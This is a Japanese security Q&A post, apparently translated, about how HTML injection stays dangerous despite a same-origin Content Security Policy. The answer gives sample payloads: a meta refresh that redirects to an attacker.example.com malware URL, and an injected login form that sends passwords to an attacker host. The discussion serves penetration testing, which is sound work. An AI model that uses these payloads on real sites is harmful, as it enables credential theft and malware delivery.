コンテンツセキュリティポリシーを追加するだけで、XSS脆弱性のほとんどを修正したWebサイトをペンテストしています。いくつかの場所にまだHTMLインジェクションがあります。添付ファイル機能を介してjavascriptを含むファイルをOriginに取得しようとしましたが、行き止まりのようです。
JavaScriptを実行できないので、CSPにもかかわらずHTMLインジェクション攻撃の継続的な重大度を示すための概念実証として何を使用できますか?セキュリティを危険にさらすためにまだ使用できるHTMLタグはありますか?
CSPには、同じオリジンのみを許可するデフォルトのルールがあります。ただし、data:
の<img>
には例外があり、このポリシーではインラインCSSも許可されています。
メタタグを使用して別のURLへのリダイレクトを試みることができます。
<meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware">
また、ログインフォームがある場合、フォーム送信のターゲットはCSPによって保護されていないため、別のform
要素を追加して、送信フォームの送信先を変更することもできます。
<form action=login.php> <!-- original action -->
<form action=http://attacker.example.com/login.php> <!-- your injected action -->
...<input type=password ....
</form>
もちろん、リンクはCSPの影響も受けないため、他のサイトへのリンクを含めることもできます。